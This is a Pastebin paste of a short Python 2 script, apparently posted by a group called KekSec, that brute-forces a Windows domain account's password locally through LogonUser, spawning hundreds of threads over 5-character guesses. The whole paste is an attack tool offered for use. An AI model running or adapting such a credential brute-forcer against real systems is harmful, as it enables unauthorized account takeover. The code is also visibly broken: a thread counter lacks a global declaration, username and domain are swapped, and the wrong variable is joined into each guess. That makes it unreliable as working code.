KekSec

brute.py - windows cred brute forcer local

Jul 17th, 2021 (edited)
653
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.85 KB | None | 0 0
  1. import threading
  2. import win32security
  3. import time
  4. import string
  5. import itertools
  6.  
  7. domain = raw_input ("Domain: ")
  8. username = raw_input ("Username: ")
  9. global activethreads
  10. activethreads = 0
  11. def guesspw(domain,username,password):
  12. activethreads += 1
  13. try:
  14. hUser = win32security.LogonUser (
  15. username,
  16. domain,
  17. password,
  18. win32security.LOGON32_LOGON_NETWORK,
  19. win32security.LOGON32_PROVIDER_DEFAULT
  20. )
  21. except win32security.error:
  22. pass
  23. else:
  24. print "Succeeded ---> got password: " + domain + "\\" + username + " : " + password
  25. activethreads -= 1
  26.  
  27. res = itertools.permutations(string.ascii_lowercase + string.ascii_uppercase + "0123456789", 5)
  28. for guess in res:
  29. while activethreads >= 512:
  30. time.sleep(0.01)
  31. threading.Thread(target=guesspw, args=(username,domain,''.join(res),)).start()
Add Comment
Please, Sign In to add comment